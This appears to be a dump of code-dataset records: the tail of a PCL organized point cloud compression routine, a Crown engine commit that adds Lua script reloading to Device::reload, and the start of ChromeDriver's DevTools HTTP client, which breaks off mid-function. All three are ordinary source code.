encodeMonoImageToPNG (disparityData, cloud_width, cloud_height, compressedDisparity, pngLevel_arg);\n\n compressedDisparitySize = static_cast<uint32_t>(compressedDisparity.size());\n \/\/ Encode size of compressed disparity image data\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedDisparitySize), sizeof (compressedDisparitySize));\n \/\/ Output compressed disparity to ostream\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedDisparity[0]), compressedDisparity.size () * sizeof(uint8_t));\n\n \/\/ Compress color information\n if (CompressionPointTraits<PointT>::hasColor && doColorEncoding)\n encodeRGBImageToPNG (rgbData, cloud_width, cloud_height, compressedRGB, 1 \/*Z_BEST_SPEED*\/);\n\n compressedRGBSize = static_cast<uint32_t>(compressedRGB.size ());\n \/\/ Encode size of compressed RGB image data\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedRGBSize), sizeof (compressedRGBSize));\n \/\/ Output compressed disparity to ostream\n compressedDataOut_arg.write (reinterpret_cast<const char*> (&compressedRGB[0]), compressedRGB.size () * sizeof(uint8_t));\n\n if (bShowStatistics_arg)\n {\n uint64_t pointCount = cloud_width * cloud_height;\n float bytesPerPoint = static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ static_cast<float> (pointCount);\n\n PCL_INFO(\"*** POINTCLOUD ENCODING ***\\n\");\n PCL_INFO(\"Number of encoded points: %ld\\n\", pointCount);\n PCL_INFO(\"Size of uncompressed point cloud: %.2f kBytes\\n\", (static_cast<float> (pointCount) * CompressionPointTraits<PointT>::bytesPerPoint) \/ 1024.0f);\n PCL_INFO(\"Size of compressed point cloud: %.2f kBytes\\n\", static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ 1024.0f);\n PCL_INFO(\"Total bytes per point: %.4f bytes\\n\", static_cast<float> (bytesPerPoint));\n PCL_INFO(\"Total compression percentage: %.4f%%\\n\", (bytesPerPoint) \/ (CompressionPointTraits<PointT>::bytesPerPoint) * 100.0f);\n PCL_INFO(\"Compression ratio: %.2f\\n\\n\", static_cast<float> (CompressionPointTraits<PointT>::bytesPerPoint) \/ bytesPerPoint);\n }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template<typename PointT> void\n OrganizedPointCloudCompression<PointT>::decodePointCloud (std::istream& compressedDataIn_arg,\n PointCloudPtr &cloud_arg,\n bool bShowStatistics_arg)\n {\n uint32_t cloud_width;\n uint32_t cloud_height;\n float maxDepth, vocalLength;\n float depthQuantization;\n\n \/\/ disparity and rgb image data\n std::vector<uint16_t> disparityData;\n std::vector<uint8_t> rgbData;\n\n \/\/ compressed disparity and rgb image data\n std::vector<uint8_t> compressedDisparity;\n std::vector<uint8_t> compressedRGB;\n\n uint32_t compressedDisparitySize;\n uint32_t compressedRGBSize;\n\n \/\/ PNG decoded parameters\n size_t png_width = 0;\n size_t png_height = 0;\n unsigned int png_channels = 1;\n\n \/\/ sync to frame header\n unsigned int headerIdPos = 0;\n bool valid_stream = true;\n while (valid_stream && (headerIdPos < strlen (frameHeaderIdentifier_)))\n {\n char readChar;\n compressedDataIn_arg.read (static_cast<char*> (&readChar), sizeof (readChar));\n if (readChar != frameHeaderIdentifier_[headerIdPos++])\n headerIdPos = (frameHeaderIdentifier_[0] == readChar) ? 1 : 0;\n\n valid_stream=compressedDataIn_arg.good ();\n }\n\n if (valid_stream) {\n\n \/\/ reading frame header\n compressedDataIn_arg.read (reinterpret_cast<char*> (&cloud_width), sizeof (cloud_width));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&cloud_height), sizeof (cloud_height));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&maxDepth), sizeof (maxDepth));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&vocalLength), sizeof (vocalLength));\n compressedDataIn_arg.read (reinterpret_cast<char*> (&depthQuantization), sizeof (depthQuantization));\n\n \/\/ reading compressed disparity data\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedDisparitySize), sizeof (compressedDisparitySize));\n compressedDisparity.resize (compressedDisparitySize);\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedDisparity[0]), compressedDisparitySize * sizeof(uint8_t));\n\n \/\/ reading compressed rgb data\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedRGBSize), sizeof (compressedRGBSize));\n compressedRGB.resize (compressedRGBSize);\n compressedDataIn_arg.read (reinterpret_cast<char*> (&compressedRGB[0]), compressedRGBSize * sizeof(uint8_t));\n\n \/\/ decode PNG compressed disparity data\n decodePNGToImage (compressedDisparity, disparityData, png_width, png_height, png_channels);\n\n \/\/ decode PNG compressed rgb data\n decodePNGToImage (compressedRGB, rgbData, png_width, png_height, png_channels);\n }\n\n \/\/ reconstruct point cloud\n OrganizedConversion<PointT>::convert (disparityData, rgbData, cloud_width, cloud_height, maxDepth, depthQuantization, vocalLength, *cloud_arg);\n\n if (bShowStatistics_arg)\n {\n uint64_t pointCount = cloud_width * cloud_height;\n float bytesPerPoint = static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ static_cast<float> (pointCount);\n\n PCL_INFO(\"*** POINTCLOUD DECODING ***\\n\");\n PCL_INFO(\"Number of encoded points: %ld\\n\", pointCount);\n PCL_INFO(\"Size of uncompressed point cloud: %.2f kBytes\\n\", (static_cast<float> (pointCount) * CompressionPointTraits<PointT>::bytesPerPoint) \/ 1024.0f);\n PCL_INFO(\"Size of compressed point cloud: %.2f kBytes\\n\", static_cast<float> (compressedDisparitySize+compressedRGBSize) \/ 1024.0f);\n PCL_INFO(\"Total bytes per point: %.4f bytes\\n\", static_cast<float> (bytesPerPoint));\n PCL_INFO(\"Total compression percentage: %.4f%%\\n\", (bytesPerPoint) \/ (CompressionPointTraits<PointT>::bytesPerPoint) * 100.0f);\n PCL_INFO(\"Compression ratio: %.2f\\n\\n\", static_cast<float> (CompressionPointTraits<PointT>::bytesPerPoint) \/ bytesPerPoint);\n }\n }\n\n \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n template<typename PointT> void\n OrganizedPointCloudCompression<PointT>::analyzeOrganizedCloud (PointCloudConstPtr cloud_arg,\n float& maxDepth_arg,\n float& vocalLength_arg) const\n {\n size_t width, height, it;\n int centerX, centerY;\n int x, y;\n float maxDepth;\n float focalLength;\n\n width = cloud_arg->width;\n height = cloud_arg->height;\n\n \/\/ Center of organized point cloud\n centerX = static_cast<int> (width \/ 2);\n centerY = static_cast<int> (height \/ 2);\n\n \/\/ Ensure we have an organized point cloud\n assert((width>1) && (height>1));\n assert(width*height == cloud_arg->points.size());\n\n maxDepth = 0;\n focalLength = 0;\n\n it = 0;\n for (y = -centerY; y < +centerY; ++y)\n for (x = -centerX; x < +centerX; ++x)\n {\n const PointT& point = cloud_arg->points[it++];\n\n if (pcl::isFinite (point))\n {\n if (maxDepth < point.z)\n {\n \/\/ Update maximum depth\n maxDepth = point.z;\n\n \/\/ Calculate focal length\n focalLength = 2.0f \/ (point.x \/ (static_cast<float> (x) * point.z) + point.y \/ (static_cast<float> (y) * point.z));\n }\n }\n }\n\n \/\/ Update return values\n maxDepth_arg = maxDepth;\n vocalLength_arg = focalLength;\n }\n\n }\n}\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\/*\n * Copyright (c) 2012-2015 Daniele Bartolini and individual contributors.\n * License: https:\/\/github.com\/taylor001\/crown\/blob\/master\/LICENSE\n *\/\n\n#include \"config.h\"\n#include \"debug_line.h\"\n#include \"device.h\"\n#include \"log.h\"\n#include \"lua_environment.h\"\n#include \"material_manager.h\"\n#include \"resource_manager.h\"\n#include \"resource_package.h\"\n#include \"types.h\"\n#include \"world.h\"\n#include \"memory.h\"\n#include \"os.h\"\n\n#define MAX_SUBSYSTEMS_HEAP 8 * 1024 * 1024\n\nnamespace crown\n{\nDevice::Device(const ConfigSettings& cs, Filesystem& fs)\n\t: _allocator(default_allocator(), MAX_SUBSYSTEMS_HEAP)\n\t, _width(0)\n\t, _height(0)\n\t, _is_init(false)\n\t, _is_running(false)\n\t, _is_paused(false)\n\t, _frame_count(0)\n\t, _last_time(0)\n\t, _current_time(0)\n\t, _last_delta_time(0.0f)\n\t, _time_since_start(0.0)\n\t, _cs(cs)\n\t, _fs(fs)\n\t, _boot_package_id(cs.boot_package)\n\t, _boot_script_id(cs.boot_script)\n\t, _boot_package(NULL)\n\t, _lua_environment(NULL)\n\t, _resource_manager(NULL)\n\t, _worlds(default_allocator())\n{\n}\n\nvoid Device::init()\n{\n\t\/\/ Initialize\n\tCE_LOGI(\"Initializing Crown Engine %s...\", version());\n\n\t\/\/ Create resource manager\n\tCE_LOGD(\"Creating resource manager...\");\n\t_resource_manager = CE_NEW(_allocator, ResourceManager)(_fs);\n\n\tCE_LOGD(\"Creating material manager...\");\n\tmaterial_manager::init();\n\tdebug_line::init();\n\n\t_lua_environment = CE_NEW(_allocator, LuaEnvironment)();\n\t_lua_environment->load_libs();\n\n\tCE_LOGD(\"Crown Engine initialized.\");\n\tCE_LOGD(\"Initializing Game...\");\n\n\t_is_init = true;\n\t_is_running = true;\n\t_last_time = os::clocktime();\n\n\t_boot_package = create_resource_package(_boot_package_id);\n\t_boot_package->load();\n\t_boot_package->flush();\n\n\t_lua_environment->execute((LuaResource*)_resource_manager->get(SCRIPT_TYPE, _boot_script_id));\n\t_lua_environment->call_global(\"init\", 0);\n}\n\nvoid Device::shutdown()\n{\n\tCE_ASSERT(_is_init, \"Engine is not initialized\");\n\n\t\/\/ Shutdowns the game\n\t_lua_environment->call_global(\"shutdown\", 0);\n\n\t_boot_package->unload();\n\tdestroy_resource_package(*_boot_package);\n\n\tCE_DELETE(_allocator, _lua_environment);\n\n\tCE_LOGD(\"Releasing material manager...\");\n\tdebug_line::shutdown();\n\tmaterial_manager::shutdown();\n\n\tCE_LOGD(\"Releasing resource manager...\");\n\tCE_DELETE(_allocator, _resource_manager);\n\n\t_allocator.clear();\n\t_is_init = false;\n}\n\nResourceManager* Device::resource_manager()\n{\n\treturn _resource_manager;\n}\n\nLuaEnvironment* Device::lua_environment()\n{\n\treturn _lua_environment;\n}\n\nvoid Device::quit()\n{\n\t_is_running = false;\n}\n\nvoid Device::pause()\n{\n\t_is_paused = true;\n\tCE_LOGI(\"Engine paused.\");\n}\n\nvoid Device::unpause()\n{\n\t_is_paused = false;\n\tCE_LOGI(\"Engine unpaused.\");\n}\n\nbool Device::is_running() const\n{\n\treturn _is_running;\n}\n\nuint64_t Device::frame_count() const\n{\n\treturn _frame_count;\n}\n\nfloat Device::last_delta_time() const\n{\n\treturn _last_delta_time;\n}\n\ndouble Device::time_since_start() const\n{\n\treturn _time_since_start;\n}\n\nvoid Device::update()\n{\n\t_current_time = os::clocktime();\n\tconst int64_t time = _current_time - _last_time;\n\t_last_time = _current_time;\n\tconst double freq = (double) os::clockfrequency();\n\t_last_delta_time = time * (1.0 \/ freq);\n\t_time_since_start += _last_delta_time;\n\n\tif (!_is_paused)\n\t{\n\t\t_resource_manager->complete_requests();\n\t\t_lua_environment->call_global(\"update\", 1, ARGUMENT_FLOAT, last_delta_time());\n\t\t_lua_environment->call_global(\"render\", 1, ARGUMENT_FLOAT, last_delta_time());\n\t}\n\n\t_frame_count++;\n\n\t_lua_environment->clear_temporaries();\n}\n\nvoid Device::render_world(World& world, Camera* camera)\n{\n\tworld.render(camera);\n}\n\nWorld* Device::create_world()\n{\n\tWorld* w = CE_NEW(default_allocator(), World)(*_resource_manager, *_lua_environment);\n\tarray::push_back(_worlds, w);\n\treturn w;\n}\n\nvoid Device::destroy_world(World& w)\n{\n\tfor (uint32_t i = 0, n = array::size(_worlds); i < n; ++i)\n\t{\n\t\tif (&w == _worlds[i])\n\t\t{\n\t\t\tCE_DELETE(default_allocator(), &w);\n\t\t\t_worlds[i] = _worlds[n - 1];\n\t\t\tarray::pop_back(_worlds);\n\t\t\treturn;\n\t\t}\n\t}\n\n\tCE_ASSERT(false, \"Bad world\");\n}\n\nResourcePackage* Device::create_resource_package(StringId64 id)\n{\n\treturn CE_NEW(default_allocator(), ResourcePackage)(id, *_resource_manager);\n}\n\nvoid Device::destroy_resource_package(ResourcePackage& package)\n{\n\tCE_DELETE(default_allocator(), &package);\n}\n\nvoid Device::reload(StringId64 type, StringId64 name)\n{\n}\n\nnamespace device_globals\n{\n\tchar _buffer[sizeof(Device)];\n\tDevice* _device = NULL;\n\n\tvoid init(const ConfigSettings& cs, Filesystem& fs)\n\t{\n\t\tCE_ASSERT(_device == NULL, \"Crown already initialized\");\n\t\t_device = new (_buffer) Device(cs, fs);\n\t}\n\n\tvoid shutdown()\n\t{\n\t\t_device->~Device();\n\t\t_device = NULL;\n\t}\n} \/\/ namespace device_globals\n\nDevice* device()\n{\n\treturn device_globals::_device;\n}\n\n} \/\/ namespace crown\n<commit_msg>Add SCRIPT_TYPE reload<commit_after>\/*\n * Copyright (c) 2012-2015 Daniele Bartolini and individual contributors.\n * License: https:\/\/github.com\/taylor001\/crown\/blob\/master\/LICENSE\n *\/\n\n#include \"config.h\"\n#include \"debug_line.h\"\n#include \"device.h\"\n#include \"log.h\"\n#include \"lua_environment.h\"\n#include \"material_manager.h\"\n#include \"resource_manager.h\"\n#include \"resource_package.h\"\n#include \"types.h\"\n#include \"world.h\"\n#include \"memory.h\"\n#include \"os.h\"\n\n#define MAX_SUBSYSTEMS_HEAP 8 * 1024 * 1024\n\nnamespace crown\n{\nDevice::Device(const ConfigSettings& cs, Filesystem& fs)\n\t: _allocator(default_allocator(), MAX_SUBSYSTEMS_HEAP)\n\t, _width(0)\n\t, _height(0)\n\t, _is_init(false)\n\t, _is_running(false)\n\t, _is_paused(false)\n\t, _frame_count(0)\n\t, _last_time(0)\n\t, _current_time(0)\n\t, _last_delta_time(0.0f)\n\t, _time_since_start(0.0)\n\t, _cs(cs)\n\t, _fs(fs)\n\t, _boot_package_id(cs.boot_package)\n\t, _boot_script_id(cs.boot_script)\n\t, _boot_package(NULL)\n\t, _lua_environment(NULL)\n\t, _resource_manager(NULL)\n\t, _worlds(default_allocator())\n{\n}\n\nvoid Device::init()\n{\n\t\/\/ Initialize\n\tCE_LOGI(\"Initializing Crown Engine %s...\", version());\n\n\t\/\/ Create resource manager\n\tCE_LOGD(\"Creating resource manager...\");\n\t_resource_manager = CE_NEW(_allocator, ResourceManager)(_fs);\n\n\tCE_LOGD(\"Creating material manager...\");\n\tmaterial_manager::init();\n\tdebug_line::init();\n\n\t_lua_environment = CE_NEW(_allocator, LuaEnvironment)();\n\t_lua_environment->load_libs();\n\n\tCE_LOGD(\"Crown Engine initialized.\");\n\tCE_LOGD(\"Initializing Game...\");\n\n\t_is_init = true;\n\t_is_running = true;\n\t_last_time = os::clocktime();\n\n\t_boot_package = create_resource_package(_boot_package_id);\n\t_boot_package->load();\n\t_boot_package->flush();\n\n\t_lua_environment->execute((LuaResource*)_resource_manager->get(SCRIPT_TYPE, _boot_script_id));\n\t_lua_environment->call_global(\"init\", 0);\n}\n\nvoid Device::shutdown()\n{\n\tCE_ASSERT(_is_init, \"Engine is not initialized\");\n\n\t\/\/ Shutdowns the game\n\t_lua_environment->call_global(\"shutdown\", 0);\n\n\t_boot_package->unload();\n\tdestroy_resource_package(*_boot_package);\n\n\tCE_DELETE(_allocator, _lua_environment);\n\n\tCE_LOGD(\"Releasing material manager...\");\n\tdebug_line::shutdown();\n\tmaterial_manager::shutdown();\n\n\tCE_LOGD(\"Releasing resource manager...\");\n\tCE_DELETE(_allocator, _resource_manager);\n\n\t_allocator.clear();\n\t_is_init = false;\n}\n\nResourceManager* Device::resource_manager()\n{\n\treturn _resource_manager;\n}\n\nLuaEnvironment* Device::lua_environment()\n{\n\treturn _lua_environment;\n}\n\nvoid Device::quit()\n{\n\t_is_running = false;\n}\n\nvoid Device::pause()\n{\n\t_is_paused = true;\n\tCE_LOGI(\"Engine paused.\");\n}\n\nvoid Device::unpause()\n{\n\t_is_paused = false;\n\tCE_LOGI(\"Engine unpaused.\");\n}\n\nbool Device::is_running() const\n{\n\treturn _is_running;\n}\n\nuint64_t Device::frame_count() const\n{\n\treturn _frame_count;\n}\n\nfloat Device::last_delta_time() const\n{\n\treturn _last_delta_time;\n}\n\ndouble Device::time_since_start() const\n{\n\treturn _time_since_start;\n}\n\nvoid Device::update()\n{\n\t_current_time = os::clocktime();\n\tconst int64_t time = _current_time - _last_time;\n\t_last_time = _current_time;\n\tconst double freq = (double) os::clockfrequency();\n\t_last_delta_time = time * (1.0 \/ freq);\n\t_time_since_start += _last_delta_time;\n\n\tif (!_is_paused)\n\t{\n\t\t_resource_manager->complete_requests();\n\t\t_lua_environment->call_global(\"update\", 1, ARGUMENT_FLOAT, last_delta_time());\n\t\t_lua_environment->call_global(\"render\", 1, ARGUMENT_FLOAT, last_delta_time());\n\t}\n\n\t_frame_count++;\n\n\t_lua_environment->clear_temporaries();\n}\n\nvoid Device::render_world(World& world, Camera* camera)\n{\n\tworld.render(camera);\n}\n\nWorld* Device::create_world()\n{\n\tWorld* w = CE_NEW(default_allocator(), World)(*_resource_manager, *_lua_environment);\n\tarray::push_back(_worlds, w);\n\treturn w;\n}\n\nvoid Device::destroy_world(World& w)\n{\n\tfor (uint32_t i = 0, n = array::size(_worlds); i < n; ++i)\n\t{\n\t\tif (&w == _worlds[i])\n\t\t{\n\t\t\tCE_DELETE(default_allocator(), &w);\n\t\t\t_worlds[i] = _worlds[n - 1];\n\t\t\tarray::pop_back(_worlds);\n\t\t\treturn;\n\t\t}\n\t}\n\n\tCE_ASSERT(false, \"Bad world\");\n}\n\nResourcePackage* Device::create_resource_package(StringId64 id)\n{\n\treturn CE_NEW(default_allocator(), ResourcePackage)(id, *_resource_manager);\n}\n\nvoid Device::destroy_resource_package(ResourcePackage& package)\n{\n\tCE_DELETE(default_allocator(), &package);\n}\n\nvoid Device::reload(StringId64 type, StringId64 name)\n{\n\tconst void* old_resource = _resource_manager->get(type, name);\n\t_resource_manager->reload(type, name);\n\tconst void* new_resource = _resource_manager->get(type, name);\n\n\tif (type == SCRIPT_TYPE)\n\t{\n\t\t_lua_environment->execute((const LuaResource*)new_resource);\n\t}\n}\n\nnamespace device_globals\n{\n\tchar _buffer[sizeof(Device)];\n\tDevice* _device = NULL;\n\n\tvoid init(const ConfigSettings& cs, Filesystem& fs)\n\t{\n\t\tCE_ASSERT(_device == NULL, \"Crown already initialized\");\n\t\t_device = new (_buffer) Device(cs, fs);\n\t}\n\n\tvoid shutdown()\n\t{\n\t\t_device->~Device();\n\t\t_device = NULL;\n\t}\n} \/\/ namespace device_globals\n\nDevice* device()\n{\n\treturn device_globals::_device;\n}\n\n} \/\/ namespace crown\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2013 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/test\/chromedriver\/chrome\/devtools_http_client.h\"\n\n#include \"base\/bind.h\"\n#include \"base\/bind_helpers.h\"\n#include \"base\/json\/json_reader.h\"\n#include \"base\/strings\/string_number_conversions.h\"\n#include \"base\/strings\/string_split.h\"\n#include \"base\/strings\/stringprintf.h\"\n#include \"base\/threading\/platform_thread.h\"\n#include \"base\/time\/time.h\"\n#include \"base\/values.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/devtools_client_impl.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/log.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/status.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/version.h\"\n#include \"chrome\/test\/chromedriver\/chrome\/web_view_impl.h\"\n#include \"chrome\/test\/chromedriver\/net\/net_util.h\"\n#include \"chrome\/test\/chromedriver\/net\/url_request_context_getter.h\"\n\nnamespace {\n\nStatus FakeCloseFrontends() {\n return Status(kOk);\n}\n\n} \/\/ namespace\n\nWebViewInfo::WebViewInfo(const std::string& id,\n const std::string& debugger_url,\n const std::string& url,\n Type type)\n : id(id), debugger_url(debugger_url), url(url), type(type) {}\n\nWebViewInfo::~WebViewInfo() {}\n\nbool WebViewInfo::IsFrontend() const {\n return url.find(\"chrome-devtools:\/\/\") == 0u;\n}\n\nWebViewsInfo::WebViewsInfo() {}\n\nWebViewsInfo::WebViewsInfo(const std::vector<WebViewInfo>& info)\n : views_info(info) {}\n\nWebViewsInfo::~WebViewsInfo() {}\n\nconst WebViewInfo& WebViewsInfo::Get(int index) const {\n return views_info[index];\n}\n\nsize_t WebViewsInfo::GetSize() const {\n return views_info.size();\n}\n\nconst WebViewInfo* WebViewsInfo::GetForId(const std::string& id) const {\n for (size_t i = 0; i < views_info.size(); ++i) {\n if (views_info[i].id == id)\n return &views_info[i];\n }\n return NULL;\n}\n\nDevToolsHttpClient::DevToolsHttpClient(\n const NetAddress& address,\n scoped_refptr<URLRequestContextGetter> context_getter,\n const SyncWebSocketFactory& socket_factory)\n : context_getter_(context_getter),\n socket_factory_(socket_factory),\n server_url_(\"http:\/\/\" + address.ToString()),\n web_socket_url_prefix_(base::StringPrintf(\n \"ws:\/\/%s\/devtools\/page\/\", address.ToString().c_str())) {}\n\nDevToolsHttpClient::~DevToolsHttpClient() {}\n\nStatus DevToolsHttpClient::Init(const base::TimeDelta& timeout) {\n base::TimeTicks deadline = base::TimeTicks::Now() + timeout;\n std::string devtools_version;\n while (true) {\n Status status = GetVersion(&devtools_version);\n if (status.IsOk())\n break;\n if (status.code() != kChromeNotReachable ||\n base::TimeTicks::Now() > deadline) {\n return status;\n }\n base::PlatformThread::Sleep(base::TimeDelta::FromMilliseconds(50));\n }\n\n int kToTBuildNo = 9999;\n if (devtools_version.empty()) {\n \/\/ Content Shell has an empty product version and a fake user agent.\n \/\/ There's no way to detect the actual version, so assume it is tip of tree.\n version_ = \"content shell\";\n build_no_ = kToTBuildNo;\n return Status(kOk);\n }\n if (devtools_version.find(\"Version\/\") == 0u) {\n version_ = \"webview\";\n build_no_ = kToTBuildNo;\n return Status(kOk);\n }\n std::string prefix = \"Chrome\/\";\n if (devtools_version.find(prefix) != 0u) {\n return Status(kUnknownError,\n \"unrecognized Chrome version: \" + devtools_version);\n }\n\n std::string stripped_version = devtools_version.substr(prefix.length());\n int temp_build_no;\n std::vector<std::string> version_parts;\n base::SplitString(stripped_version, '.', &version_parts);\n if (version_parts.size() != 4 ||\n !base::StringToInt(version_parts[2], &temp_build_no)) {\n return Status(kUnknownError,\n \"unrecognized Chrome version: \" + devtools_version);\n }\n\n version_ = stripped_version;\n build_no_ = temp_build_no;\n return Status(kOk);\n}\n\nStatus DevToolsHttpClient::GetWebViewsInfo(WebViewsInfo* views_info) {\n std::string data;\n if (!FetchUrlAndLog(server_url_ + \"\/json\", context_getter_.get(), &data))\n return Status(kChromeNotReachable);\n\n return internal::ParseWebViewsInfo(data, views_info);\n}\n\nscoped_ptr<DevToolsClient> DevToolsHttpClient::CreateClient(\n const std::string& id) {\n return scoped_ptr<DevToolsClient>(new DevToolsClientImpl(\n socket_factory_,\n web_socket_url_prefix_ + id,\n id,\n base::Bind(\n &DevToolsHttpClient::CloseFrontends, base::Unretained(this), id)));\n}\n\nStatus DevToolsHttpClient::CloseWebView(const std::string& id) {\n std::string data;\n if (!FetchUrlAndLog(\n server_url_ + \"\/json\/close\/\" + id, context_getter_.get(), &data)) {\n return Status(kOk); \/\/ Closing the last web view leads chrome to quit.\n }\n\n \/\/ Wait for the target window to be completely closed.\n base::TimeTicks deadline =\n base::TimeTicks::Now() + base::TimeDelta::FromSeconds(20);\n while (base::TimeTicks::Now() < deadline) {\n WebViewsInfo views_info;\n Status status = GetWebViewsInfo(&views_info);\n if (status.code() == kChromeNotReachable)\n return Status(kOk);\n if (status.IsError())\n return status;\n if (!views_info.GetForId(id))\n return Status(kOk);\n base::PlatformThread::Sleep(base::TimeDelta::FromMilliseconds(50));\n }\n return Status(kUnknownError, \"failed to close window in 20 seconds\");\n}\n\nStatus DevToolsHttpClient::ActivateWebView(const std::string& id) {\n std::string data;\n if (!FetchUrlAndLog(\n server_url_ + \"\/json\/activate\/\" + id, context_getter_.get(), &data))\n return Status(kUnknownError, \"cannot activate web view\");\n return Status(kOk);\n}\n\nconst std::string& DevToolsHttpClient::version() const {\n return version_;\n}\n\nint DevToolsHttpClient::build_no() const {\n return build_no_;\n}\n\nStatus DevToolsHttpClient::GetVersion(std::string* version) {\n std::string data;\n if (!FetchUrlAndLog(\n server_url_ + \"\/json\/version\", context_getter_.get(), &data))\n return Status(kChromeNotReachable);\n\n return internal::ParseVersionInfo(data, version);\n}\n\nStatus DevToolsHttpClient::CloseFrontends(const std::string& for_client_id) {\n WebViewsInfo views_info;\n Status status = GetWebViewsInfo(&views_info);\n if (status.IsError())\n return status;\n\n \/\/ Close frontends. Usually frontends are docked in the same page, although\n \/\/ some may be in tabs (undocked, chrome:\/\/inspect, the DevTools\n \/\/ discovery page, etc.). Tabs can be closed via the DevTools HTTP close\n \/\/ URL, but docked frontends can only be closed, by design, by connecting\n \/\/ to them and clicking the close button. Close the tab frontends first\n \/\/ in case one of them is debugging a docked frontend, which would prevent\n \/\/ the code from being able to connect to the docked one.\n std::list<std::string> tab_frontend_ids;\n std::list<std::string> docked_frontend_ids;\n for (size_t i = 0; i < views_info.GetSize(); ++i) {\n const WebViewInfo& view_info = views_info.Get(i);\n if (view_info.IsFrontend()) {\n if (view_info.type == WebViewInfo::kPage)\n tab_frontend_ids.push_back(view_info.id);\n else if (view_info.type == WebViewInfo::kOther)\n docked_frontend_ids.push_back(view_info.id);\n else\n return Status(kUnknownError, \"unknown type of DevTools frontend\");\n }\n }\n\n for (std::list<std::string>::const_iterator it = tab_frontend_ids.begin();\n it != tab_frontend_ids.end(); ++it) {\n status = CloseWebView(*it);\n if (status.IsError())\n return status;\n }\n\n for (std::list<std::string>::const_iterator it = docked_frontend_ids.begin();\n it != docked_frontend_ids.end(); ++it) {\n scoped_ptr<DevToolsClient> client(new DevToolsClientImpl(\n socket_factory_,\n web_socket_url_prefix_ + *it,\n *it,\n base::Bind(&FakeCloseFrontends)));\n scoped_ptr<WebViewImpl> web_view(\n new WebViewImpl(*it, build_no_, client.Pass()));\n\n status = web_view->ConnectIfNecessary();\n \/\/ Ignore disconnected error, because the debugger might have closed when\n \/\/ its container page was closed above.\n if (status.IsError() && status.code() != kDisconnected)\n return status;\n\n scoped_ptr<base::Value> result;\n status = web_view->EvaluateScript(\n std::string(),\n \"document.querySelector('*[id^=\\\"close-button-\\\"]').click();\",\n &result);\n \/\/ Ignore disconnected error, because it may be closed already.\n if (status.IsError() && status.code() != kDisconnected)\n return status;\n }\n\n \/\/ Wait until DevTools UI disconnects from the given web view.\n base::TimeTicks deadline =\n base::TimeTicks::Now() + base::TimeDelta::FromSeconds(20);\n while (base::TimeTicks::Now() < deadline) {\n status = GetWebViewsInfo(&views_info);\n if (status.IsError())\n return status;\n\n const WebViewInfo* view_info = views_info.GetForId(for_client_id);\n if (!view_info) {\n return Status(kDisconnected,\n \"DevTools client closed during closing UI debuggers\");\n }\n if (view_info->debugger_url.size())\n return Status(kOk);\n\n base::PlatformThread::Sleep(base::TimeDelta::FromMilliseconds(50));\n }\n return Status(kUnknownError, \"failed to close UI debuggers\");\n}\n\nbool DevToolsHttpClient::FetchUrlAndLog(const std::string& url,\n URLRequestContextGetter* getter,\n std::string* response) {\n VLOG(1) << \"DevTools request: \" << url;\n bool ok = FetchUrl(url, getter, response);\n if (ok) {\n VLOG(1) << \"DevTools response: \" << *response;\n } else {\n VLOG(1) << \"DevTools request failed\";\n }\n return ok;\n}\n\nnamespace internal {\n\nStatus ParseWebViewsInfo(const std::string& data,\n WebViewsInfo* views_info) {\n scoped_ptr<base::Value> value(base::JSONReader::Read(data));\n if (!value.get())\n return Status(kUnknownError, \"DevTools returned invalid JSON\");\n base::ListValue* list;\n if (!value->GetAsList(&list))\n return Status(kUnknownError, \"DevTools did not return list\");\n\n std::vector<WebViewInfo> temp_views_info;\n for (size_t i = 0; i < list->GetSize(); ++i) {\n base::DictionaryValue* info;\n if (!list->GetDictionary(i, &info))\n return Status(kUnknownError, \"DevTools contains non-dictionary item\");\n std::string id;\n if (!info->GetString(\"id\", &id))\n return Status(kUnknownError, \"DevTools did not include id\");\n std::string type;\n if (!info->GetString(\"type\", &type))\n return Status(kUnknownError, \"DevTools did not include type\");\n std::string url;\n if (!info->GetString(\"url\", &url))\n return Status(kUnknownError, \"DevTools did not include url\");\n std::string debugger_url;\n info->GetString(\"webSocketDebuggerUrl\", &debugger_url);\n if (type == \"page\")\n temp_views_info.push_back(\n WebViewInfo(id, debugger_url, url, WebViewInfo::kPage));\n else if (type == \"other\")\n temp_views_info.push_back(\n WebViewInfo(id, debugger_url, url, WebViewInfo::kOther));\n else\n return Status(kUnknownError, \"DevTools returned unknown type:\" + type);\n }\n *views_info = WebViewsInfo(temp_views_info);\n return Status(kOk);\n}\n\nStatus ParseVersionInfo(const std::string& data,\n std::string* version) {\n scoped_ptr<base::Value> value(base::JSONReader::Read(data));\n if (!value.get())\n return Status(kUnknownError, \"version info not in JSON\");\n base::DictionaryValue* dict;\n if (!value->GetAsDictionary(&dict))\n return 